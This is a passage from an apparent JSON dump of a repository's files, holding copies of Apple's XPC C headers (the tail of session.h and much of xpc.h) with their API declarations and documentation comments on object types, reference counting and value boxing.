xpc_session_send_message_with_reply_async with a semaphore.\n *\n * If this is invoked on an inactive session, for example one created using the\n * XPC_SESSION_CREATE_INACTIVE flag that hasn't yet been activated, the process\n * will crash.\n * \n * Invoking this API while the target queue is blocked would lead to deadlocks\n * in certain scenarios. For that reason, invoking it from the target queue\n * results in a crash.\n *\n * Be judicious about your use of this API. It can block indefinitely, so if you\n * are using it to implement an API that can be called from the main queue, you\n * may wish to consider allowing the API to take a queue and callback block so\n * that results may be delivered asynchronously if possible.\n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t _Nullable\nxpc_session_send_message_with_reply_sync(xpc_session_t session,\n\t\txpc_object_t message, xpc_rich_error_t _Nullable * _Nullable error_out);\n\n/*!\n * @function xpc_session_send_message_with_reply_async\n * Sends a message over the session to the destination service and executes the\n * provided callback when a reply is received.\n *\n * @param session\n * The session over which the message will be sent.\n *\n * @param message\n * The message to send. This must be a dictionary object.\n *\n * @param reply_handler\n * The handler block to invoke when a reply to the message is received from the\n * session. If the session is torn down before the reply was received, for\n * example if the remote service exits prematurely, this handler will be\n * executed and passed an appropriate {@link xpc_rich_error_t} object describing\n * the failure.\n *\n * @discussion\n * If this is invoked on an inactive session, for example one created using the\n * XPC_SESSION_CREATE_INACTIVE flag that hasn't yet been activated, the process\n * will crash.\n *\n * If this is invoked on a cancelled session, this will generate a simulated\n * crash.\n */\nAPI_AVAILABLE(macos(13.0), ios(16.0), tvos(16.0), watchos(9.0))\nXPC_EXPORT XPC_SWIFT_NOEXPORT\nvoid\nxpc_session_send_message_with_reply_async(xpc_session_t session,\n\t\txpc_object_t message, xpc_session_reply_handler_t reply_handler);\n\n__END_DECLS\nXPC_ASSUME_NONNULL_END\n\n#endif // __XPC_SESSION_H__\n"
  },
  {
    "path": "usprebooter/Private Headers I stole from the macOS SDK/xpc/xpc.h",
    "content": "// Copyright (c) 2009-2020 Apple Inc. All rights reserved. \n\n#ifndef __XPC_H__\n#define __XPC_H__\n\n#include <os/object.h>\n#include <dispatch/dispatch.h>\n\n#include <sys/mman.h>\n#include <uuid/uuid.h>\n#include <bsm/audit.h>\n#include <stdarg.h>\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <fcntl.h>\n\n#ifndef __XPC_INDIRECT__\n#define __XPC_INDIRECT__\n#endif // __XPC_INDIRECT__\n\n#include \"base.h\"\n\n#if __has_include(<xpc/xpc_transaction_deprecate.h>)\n#include <xpc/xpc_transaction_deprecate.h>\n#else // __has_include(<xpc/transaction_deprecate.h>)\n#define XPC_TRANSACTION_DEPRECATED\n#endif // __has_include(<xpc/transaction_deprecate.h>)\n\nXPC_ASSUME_NONNULL_BEGIN\n__BEGIN_DECLS\n\n#ifndef __OSX_AVAILABLE_STARTING\n#define __OSX_AVAILABLE_STARTING(x, y)\n#endif // __OSX_AVAILABLE_STARTING\n\n#define XPC_API_VERSION 20200610\n\n/*!\n * @typedef xpc_type_t\n * A type that describes XPC object types.\n */\ntypedef const struct _xpc_type_s * xpc_type_t;\n#ifndef XPC_TYPE\n#define XPC_TYPE(type) const struct _xpc_type_s type\n#endif // XPC_TYPE\n\n/*!\n * @typedef xpc_object_t\n * A type that can describe all XPC objects. Dictionaries, arrays, strings, etc.\n * are all described by this type.\n *\n * XPC objects are created with a retain count of 1, and therefore it is the\n * caller's responsibility to call xpc_release() on them when they are no longer\n * needed.\n */\n\n#if OS_OBJECT_USE_OBJC\n/* By default, XPC objects are declared as Objective-C types when building with\n * an Objective-C compiler. This allows them to participate in ARC, in RR\n * management by the Blocks runtime and in leaks checking by the static\n * analyzer, and enables them to be added to Cocoa collections.\n *\n * See <os/object.h> for details.\n */\nOS_OBJECT_DECL(xpc_object);\n#ifndef XPC_DECL\n#define XPC_DECL(name) typedef xpc_object_t name##_t\n#endif // XPC_DECL\n\n#define XPC_GLOBAL_OBJECT(object) ((OS_OBJECT_BRIDGE xpc_object_t)&(object))\n#define XPC_RETURNS_RETAINED OS_OBJECT_RETURNS_RETAINED\nXPC_INLINE XPC_NONNULL_ALL\nvoid\n_xpc_object_validate(xpc_object_t object) {\n\t(void)*(unsigned long volatile *)(OS_OBJECT_BRIDGE void *)object;\n}\n#else // OS_OBJECT_USE_OBJC\ntypedef void * xpc_object_t;\n#define XPC_DECL(name) typedef struct _##name##_s * name##_t\n#define XPC_GLOBAL_OBJECT(object) (&(object))\n#define XPC_RETURNS_RETAINED\n#endif // OS_OBJECT_USE_OBJC \n\n/*!\n * @typedef xpc_handler_t\n * The type of block that is accepted by the XPC connection APIs.\n *\n * @param object\n * An XPC object that is to be handled. If there was an error, this object will\n * be equal to one of the well-known XPC_ERROR_* dictionaries and can be\n * compared with the equality operator.\n *\n * @discussion\n * You are not responsible for releasing the event object.\n */\n#if __BLOCKS__\ntypedef void (^xpc_handler_t)(xpc_object_t object);\n#endif // __BLOCKS__ \n\n/*!\n * @define XPC_TYPE_CONNECTION\n * A type representing a connection to a named service. This connection is\n * bidirectional and can be used to both send and receive messages. A\n * connection carries the credentials of the remote service provider.\n */\n#define XPC_TYPE_CONNECTION (&_xpc_type_connection)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_connection);\nXPC_DECL(xpc_connection);\n\n/*!\n * @typedef xpc_connection_handler_t\n * The type of the function that will be invoked for a bundled XPC service when\n * there is a new connection on the service.\n *\n * @param connection\n * A new connection that is equivalent to one received by a listener connection.\n * See the documentation for {@link xpc_connection_set_event_handler} for the\n * semantics associated with the received connection.\n */\ntypedef void (*xpc_connection_handler_t)(xpc_connection_t connection);\n\n/*!\n * @define XPC_TYPE_ENDPOINT\n * A type representing a connection in serialized form. Unlike a connection, an\n * endpoint is an inert object that does not have any runtime activity\n * associated with it. Thus, it is safe to pass an endpoint in a message. Upon\n * receiving an endpoint, the recipient can use\n * xpc_connection_create_from_endpoint() to create as many distinct connections\n * as desired. \n */\n#define XPC_TYPE_ENDPOINT (&_xpc_type_endpoint)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_endpoint);\nXPC_DECL(xpc_endpoint);\n\n/*!\n * @define XPC_TYPE_NULL\n * A type representing a null object. This type is useful for disambiguating\n * an unset key in a dictionary and one which has been reserved but set empty.\n * Also, this type is a way to represent a \"null\" value in dictionaries, which\n * do not accept NULL.\n */\n#define XPC_TYPE_NULL (&_xpc_type_null)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_null);\n\n/*!\n * @define XPC_TYPE_BOOL\n * A type representing a Boolean value.\n */\n#define XPC_TYPE_BOOL (&_xpc_type_bool)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_bool);\n\n/*!\n * @define XPC_BOOL_TRUE\n * A constant representing a Boolean value of true. You may compare a Boolean\n * object against this constant to determine its value.\n */\n#define XPC_BOOL_TRUE XPC_GLOBAL_OBJECT(_xpc_bool_true)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nconst struct _xpc_bool_s _xpc_bool_true;\n\n/*!\n * @define XPC_BOOL_FALSE\n * A constant representing a Boolean value of false. You may compare a Boolean\n * object against this constant to determine its value.\n */\n#define XPC_BOOL_FALSE XPC_GLOBAL_OBJECT(_xpc_bool_false)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nconst struct _xpc_bool_s _xpc_bool_false;\n\n/*!\n * @define XPC_TYPE_INT64\n * A type representing a signed, 64-bit integer value.\n */\n#define XPC_TYPE_INT64 (&_xpc_type_int64)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_int64);\n\n/*!\n * @define XPC_TYPE_UINT64\n * A type representing an unsigned, 64-bit integer value.\n */\n#define XPC_TYPE_UINT64 (&_xpc_type_uint64)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_uint64);\n\n/*!\n * @define XPC_TYPE_DOUBLE\n * A type representing an IEEE-compliant, double-precision floating point value.\n */\n#define XPC_TYPE_DOUBLE (&_xpc_type_double)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_double);\n\n/*!\n * @define XPC_TYPE_DATE\n * A type representing a date interval. The interval is with respect to the\n * Unix epoch. XPC dates are in Unix time and are thus unaware of local time\n * or leap seconds.\n */\n#define XPC_TYPE_DATE (&_xpc_type_date)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_date);\n\n/*!\n * @define XPC_TYPE_DATA\n * A type representing a an arbitrary buffer of bytes.\n */\n#define XPC_TYPE_DATA (&_xpc_type_data)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_data);\n\n/*!\n * @define XPC_TYPE_STRING\n * A type representing a NUL-terminated C-string.\n */\n#define XPC_TYPE_STRING (&_xpc_type_string)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_string);\n\n/*!\n * @define XPC_TYPE_UUID\n * A type representing a Universally Unique Identifier as defined by uuid(3). \n */\n#define XPC_TYPE_UUID (&_xpc_type_uuid)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_uuid);\n\n/*!\n * @define XPC_TYPE_FD\n * A type representing a POSIX file descriptor.\n */\n#define XPC_TYPE_FD (&_xpc_type_fd)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_fd);\n\n/*!\n * @define XPC_TYPE_SHMEM\n * A type representing a region of shared memory.\n */\n#define XPC_TYPE_SHMEM (&_xpc_type_shmem)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_shmem);\n\n/*!\n * @define XPC_TYPE_ARRAY\n * A type representing an array of XPC objects. This array must be contiguous,\n * i.e. it cannot contain NULL values. If you wish to indicate that a slot\n * is empty, you can insert a null object. The array will grow as needed to\n * accommodate more objects.\n */\n#define XPC_TYPE_ARRAY (&_xpc_type_array)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_array);\n\n/*!\n * @define XPC_TYPE_DICTIONARY\n * A type representing a dictionary of XPC objects, keyed off of C-strings.\n * You may insert NULL values into this collection. The dictionary will grow\n * as needed to accommodate more key/value pairs.\n */\n#define XPC_TYPE_DICTIONARY (&_xpc_type_dictionary)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_dictionary);\n\n/*!\n * @define XPC_TYPE_ERROR\n * A type representing an error object. Errors in XPC are dictionaries, but\n * xpc_get_type() will return this type when given an error object. You\n * cannot create an error object directly; XPC will only give them to handlers.\n * These error objects have pointer values that are constant across the lifetime\n * of your process and can be safely compared.\n *\n * These constants are enumerated in the header for the connection object. Error\n * dictionaries may reserve keys so that they can be queried to obtain more\n * detailed information about the error. Currently, the only reserved key is\n * XPC_ERROR_KEY_DESCRIPTION.\n */\n#define XPC_TYPE_ERROR (&_xpc_type_error)\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_error);\n\n/*!\n * @define XPC_ERROR_KEY_DESCRIPTION\n * In an error dictionary, querying for this key will return a string object\n * that describes the error in a human-readable way.\n */\n#define XPC_ERROR_KEY_DESCRIPTION _xpc_error_key_description\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nconst char * const _xpc_error_key_description;\n\n/*!\n * @define XPC_EVENT_KEY_NAME\n * In an event dictionary, this querying for this key will return a string\n * object that describes the event.\n */\n#define XPC_EVENT_KEY_NAME _xpc_event_key_name\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nconst char * const _xpc_event_key_name;\n\n/*!\n * @define XPC_TYPE_SESSION\n *\n * @discussion\n * Sessions represent a stateful connection between a client and a service. When either end of the connection\n * disconnects, the entire session will be invalidated. In this case the system will make no attempt to\n * reestablish the connection or relaunch the service.\n *\n * Clients can initiate a session with a service that accepts xpc_connection_t connections but session\n * semantics will be maintained.\n *\n */\n#define XPC_TYPE_SESSION (&_xpc_type_session)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_session);\nXPC_DECL(xpc_session);\n\n/*!\n * @define XPC_TYPE_RICH_ERROR\n *\n * @discussion\n * Rich errors provide a simple dynamic error type that can indicate whether an\n * error is retry-able or not.\n */\n#define XPC_TYPE_RICH_ERROR (&_xpc_type_rich_error)\nXPC_EXPORT\nXPC_TYPE(_xpc_type_rich_error);\nXPC_DECL(xpc_rich_error);\n\n__END_DECLS\nXPC_ASSUME_NONNULL_END\n#if !defined(__XPC_BUILDING_XPC__) || !__XPC_BUILDING_XPC__\n#include \"endpoint.h\"\n#include \"debug.h\"\n#if __BLOCKS__\n#include \"activity.h\"\n#include \"xpc_connection.h\"\n#include \"rich_error.h\"\n#include \"session.h\"\n#include \"listener.h\"\n#endif // __BLOCKS__\n#undef __XPC_INDIRECT__\n#include \"launch.h\"\n#endif // !defined(__XPC_BUILDING_XPC__) || !__XPC_BUILDING_XPC__\nXPC_ASSUME_NONNULL_BEGIN\n__BEGIN_DECLS\n\n#pragma mark XPC Object Protocol\n/*!\n * @function xpc_retain\n *\n * @abstract\n * Increments the reference count of an object.\n *\n * @param object\n * The object which is to be manipulated.\n *\n * @result\n * The object which was given.\n *\n * @discussion\n * Calls to xpc_retain() must be balanced with calls to xpc_release()\n * to avoid leaking memory.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nxpc_object_t\nxpc_retain(xpc_object_t object);\n#if OS_OBJECT_USE_OBJC_RETAIN_RELEASE\n#undef xpc_retain\n#define xpc_retain(object) ({ xpc_object_t _o = (object); \\\n\t\t_xpc_object_validate(_o); [_o retain]; })\n#endif // OS_OBJECT_USE_OBJC_RETAIN_RELEASE\n\n/*!\n * @function xpc_release\n *\n * @abstract\n * Decrements the reference count of an object.\n *\n * @param object\n * The object which is to be manipulated.\n *\n * @discussion\n * The caller must take care to balance retains and releases. When creating or\n * retaining XPC objects, the creator obtains a reference on the object. Thus,\n * it is the caller's responsibility to call xpc_release() on those objects when\n * they are no longer needed.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1\nvoid\nxpc_release(xpc_object_t object);\n#if OS_OBJECT_USE_OBJC_RETAIN_RELEASE\n#undef xpc_release\n#define xpc_release(object) ({ xpc_object_t _o = (object); \\\n\t\t_xpc_object_validate(_o); [_o release]; })\n#endif // OS_OBJECT_USE_OBJC_RETAIN_RELEASE\n\n/*!\n * @function xpc_get_type\n *\n * @abstract\n * Returns the type of an object.\n *\n * @param object\n * The object to examine.\n *\n * @result\n * An opaque pointer describing the type of the object. This pointer is suitable\n * direct comparison to exported type constants with the equality operator.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT\nxpc_type_t\nxpc_get_type(xpc_object_t object);\n\n/*!\n * @function xpc_type_get_name\n *\n * @abstract\n * Returns a string describing an XPC object type.\n *\n * @param type\n * The type to describe.\n *\n * @result\n * A string describing the type of an object, like \"string\" or \"int64\".\n * This string should not be freed or modified.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_15, __IPHONE_13_0)\nXPC_EXPORT XPC_NONNULL1\nconst char *\nxpc_type_get_name(xpc_type_t type);\n\n/*!\n * @function xpc_copy\n *\n * @abstract\n * Creates a copy of the object.\n *\n * @param object\n * The object to copy.\n *\n * @result\n * The new object. NULL if the object type does not support copying or if\n * sufficient memory for the copy could not be allocated. Service objects do\n * not support copying.\n *\n * @discussion\n * When called on an array or dictionary, xpc_copy() will perform a deep copy.\n *\n * The object returned is not necessarily guaranteed to be a new object, and\n * whether it is will depend on the implementation of the object being copied.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL_ALL XPC_WARN_RESULT XPC_RETURNS_RETAINED\nxpc_object_t _Nullable\nxpc_copy(xpc_object_t object);\n\n/*!\n * @function xpc_equal\n *\n * @abstract\n * Compares two objects for equality.\n *\n * @param object1\n * The first object to compare.\n *\n * @param object2\n * The second object to compare.\n *\n * @result\n * Returns true if the objects are equal, otherwise false. Two objects must be\n * of the same type in order to be equal.\n *\n * For two arrays to be equal, they must contain the same values at the \n * same indexes. For two dictionaries to be equal, they must contain the same\n * values for the same keys.\n *\n * Two objects being equal implies that their hashes (as returned by xpc_hash())\n * are also equal.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_NONNULL2 XPC_WARN_RESULT\nbool\nxpc_equal(xpc_object_t object1, xpc_object_t object2);\n\n/*!\n * @function xpc_hash\n *\n * @abstract\n * Calculates a hash value for the given object.\n *\n * @param object\n * The object for which to calculate a hash value. This value may be modded\n * with a table size for insertion into a dictionary-like data structure.\n *\n * @result\n * The calculated hash value.\n *\n * @discussion\n * Note that the computed hash values for any particular type and value of an \n * object can change from across releases and platforms and should not be\n * assumed to be constant across all time and space or stored persistently.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_NONNULL1 XPC_WARN_RESULT\nsize_t\nxpc_hash(xpc_object_t object);\n\n/*!\n * @function xpc_copy_description\n *\n * @abstract\n * Copies a debug string describing the object.\n *\n * @param object\n * The object which is to be examined.\n *\n * @result\n * A string describing object which contains information useful for debugging.\n * This string should be disposed of with free(3) when done.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_WARN_RESULT XPC_NONNULL1\nchar *\nxpc_copy_description(xpc_object_t object);\n\n#pragma mark XPC Object Types\n#pragma mark Null\n/*!\n * @function xpc_null_create\n *\n * @abstract\n * Creates an XPC object representing the null object.\n *\n * @result\n * A new null object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_null_create(void);\n\n#pragma mark Boolean\n/*!\n * @function xpc_bool_create\n *\n * @abstract\n * Creates an XPC Boolean object.\n *\n * @param value\n * The Boolean primitive value which is to be boxed.\n *\n * @result\n * A new Boolean object. \n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_bool_create(bool value);\n\n/*!\n * @function xpc_bool_get_value\n *\n * @abstract\n * Returns the underlying Boolean value from the object.\n *\n * @param xbool\n * The Boolean object which is to be examined.\n *\n * @result\n * The underlying Boolean value or false if the given object was not an XPC\n * Boolean object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT\nbool\nxpc_bool_get_value(xpc_object_t xbool);\n\n#pragma mark Signed Integer\n/*!\n * @function xpc_int64_create\n *\n * @abstract\n * Creates an XPC signed integer object.\n *\n * @param value\n * The signed integer value which is to be boxed.\n *\n * @result\n * A new signed integer object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_int64_create(int64_t value);\n\n/*!\n * @function xpc_int64_get_value\n *\n * @abstract\n * Returns the underlying signed 64-bit integer value from an object.\n *\n * @param xint\n * The signed integer object which is to be examined.\n *\n * @result\n * The underlying signed 64-bit value or 0 if the given object was not an XPC\n * integer object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nint64_t\nxpc_int64_get_value(xpc_object_t xint);\n\n#pragma mark Unsigned Integer\n/*!\n * @function xpc_uint64_create\n *\n * @abstract\n * Creates an XPC unsigned integer object.\n *\n * @param value\n * The unsigned integer value which is to be boxed.\n *\n * @result\n * A new unsigned integer object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_uint64_create(uint64_t value);\n\n/*!\n * @function xpc_uint64_get_value\n *\n * @abstract\n * Returns the underlying unsigned 64-bit integer value from an object.\n *\n * @param xuint\n * The unsigned integer object which is to be examined.\n *\n * @result\n * The underlying unsigned integer value or 0 if the given object was not an XPC\n * unsigned integer object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nuint64_t\nxpc_uint64_get_value(xpc_object_t xuint);\n\n#pragma mark Double\n/*!\n * @function xpc_double_create\n *\n * @abstract\n * Creates an XPC double object.\n *\n * @param value\n * The floating point quantity which is to be boxed.\n *\n * @result\n * A new floating point object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_double_create(double value);\n\n/*!\n * @function xpc_double_get_value\n *\n * @abstract\n * Returns the underlying double-precision floating point value from an object.\n *\n * @param xdouble\n * The floating point object which is to be examined.\n *\n * @result\n * The underlying floating point value or NAN if the given object was not an XPC\n * floating point object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\ndouble\nxpc_double_get_value(xpc_object_t xdouble);\n\n#pragma mark Date\n/*!\n * @function xpc_date_create\n *\n * @abstract\n * Creates an XPC date object.\n *\n * @param interval\n * The date interval which is to be boxed. Negative values indicate the number\n * of nanoseconds before the epoch. Positive values indicate the number of\n * nanoseconds after the epoch.\n *\n * @result\n * A new date object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_date_create(int64_t interval);\n\n/*!\n * @function xpc_date_create_from_current\n *\n * @abstract\n * Creates an XPC date object representing the current date.\n *\n * @result\n * A new date object representing the current date.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_date_create_from_current(void);\n\n/*!\n * @function xpc_date_get_value\n *\n * @abstract\n * Returns the underlying date interval from an object.\n *\n * @param xdate\n * The date object which is to be examined.\n *\n * @result\n * The underlying date interval or 0 if the given object was not an XPC date\n * object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nint64_t\nxpc_date_get_value(xpc_object_t xdate);\n\n#pragma mark Data\n/*!\n * @function xpc_data_create\n *\n * @abstract\n * Creates an XPC object representing buffer of bytes.\n *\n * @param bytes\n * The buffer of bytes which is to be boxed. You may create an empty data object\n * by passing NULL for this parameter and 0 for the length. Passing NULL with\n * any other length will result in undefined behavior.\n *\n * @param length\n * The number of bytes which are to be boxed.\n *\n * @result\n * A new data object. \n *\n * @discussion\n * This method will copy the buffer given into internal storage. After calling\n * this method, it is safe to dispose of the given buffer.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT\nxpc_object_t\nxpc_data_create(const void * _Nullable XPC_SIZEDBY(length) bytes, size_t length);\n\n/*!\n * @function xpc_data_create_with_dispatch_data\n *\n * @abstract\n * Creates an XPC object representing buffer of bytes described by the given GCD\n * data object.\n *\n * @param ddata\n * The GCD data object containing the bytes which are to be boxed. This object\n * is retained by the data object.\n *\n * @result\n * A new data object. \n *\n * @discussion\n * The object returned by this method will refer to the buffer returned by\n * dispatch_data_create_map(). The point where XPC will make the call to\n * dispatch_data_create_map() is undefined.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1\nxpc_object_t\nxpc_data_create_with_dispatch_data(dispatch_data_t ddata);\n\n/*!\n * @function xpc_data_get_length\n *\n * @abstract\n * Returns the length of the data encapsulated by an XPC data object.\n *\n * @param xdata\n * The data object which is to be examined.\n *\n * @result\n * The length of the underlying boxed data or 0 if the given object was not an\n * XPC data object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nsize_t\nxpc_data_get_length(xpc_object_t xdata);\n\n/*!\n * @function xpc_data_get_bytes_ptr\n *\n * @abstract\n * Returns a pointer to the internal storage of a data object.\n *\n * @param xdata\n * The data object which is to be examined.\n *\n * @result\n * A pointer to the underlying boxed data or NULL if the given object was not an\n * XPC data object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1\nconst void * _Nullable\nxpc_data_get_bytes_ptr(xpc_object_t xdata);\n\n/*!\n * @function xpc_data_get_bytes\n *\n * @abstract\n * Copies the bytes stored in an data objects into the specified buffer.\n *\n * @param xdata\n * The data object which is to be examined.\n *\n * @param buffer\n * The buffer in which to copy the data object's bytes.\n *\n * @param off\n * The offset at which to begin the copy. If this offset is greater than the \n * length of the data element, nothing is copied. Pass 0 to start the copy\n * at the beginning of the buffer.\n *\n * @param length\n * The length of the destination buffer.\n *\n * @result\n * The number of bytes that were copied into the buffer or 0 if the given object\n * was not an XPC data object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL1 XPC_NONNULL2\nsize_t\nxpc_data_get_bytes(xpc_object_t xdata, \n\tvoid *buffer, size_t off, size_t length);\n\n#pragma mark String\n/*!\n * @function xpc_string_create\n *\n * @abstract\n * Creates an XPC object representing a NUL-terminated C-string.\n *\n * @param string\n * The C-string which is to be boxed.\n *\n * @result\n * A new string object. \n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1\nxpc_object_t\nxpc_string_create(const char *string);\n\n/*!\n * @function xpc_string_create_with_format\n *\n * @abstract\n * Creates an XPC object representing a C-string that is generated from the\n * given format string and arguments.\n *\n * @param fmt\n * The printf(3)-style format string from which to construct the final C-string\n * to be boxed.\n *\n * @param ...\n * The arguments which correspond to those specified in the format string.\n *\n * @result\n * A new string object. \n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1\nXPC_PRINTF(1, 2)\nxpc_object_t\nxpc_string_create_with_format(const char *fmt, ...);\n\n/*!\n * @function xpc_string_create_with_format_and_arguments\n *\n * @abstract\n * Creates an XPC object representing a C-string that is generated from the\n * given format string and argument list pointer.\n *\n * @param fmt\n * The printf(3)-style format string from which to construct the final C-string\n * to be boxed.\n *\n * @param ap\n * A pointer to the arguments which correspond to those specified in the format\n * string.\n *\n * @result\n * A new string object. \n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_MALLOC XPC_RETURNS_RETAINED XPC_WARN_RESULT XPC_NONNULL1\nXPC_PRINTF(1, 0)\nxpc_object_t\nxpc_string_create_with_format_and_arguments(const char *fmt, va_list ap);\n\n/*!\n * @function xpc_string_get_length\n *\n * @abstract\n * Returns the length of the underlying string.\n *\n * @param xstring\n * The string object which is to be examined.\n *\n * @result\n * The length of the underlying string, not including the NUL-terminator, or 0 \n * if the given object was not an XPC string object.\n */\n__OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_5_0)\nXPC_EXPORT XPC_WARN_RESULT XPC_NONNULL_ALL\nsize_t\nxpc_string_get_length(xpc_object_t xstring);\n\n/*!\n * @function xpc_string_get_string_ptr\n *\n * @abstract\n * Returns a pointer to the internal storage of a string object.\n *\n * @param xstring\n * The string object which is to be examined.\n *\n * @result\n * A pointer to the string object's internal storage or NULL if the given object\n * was not an XPC string object.\n 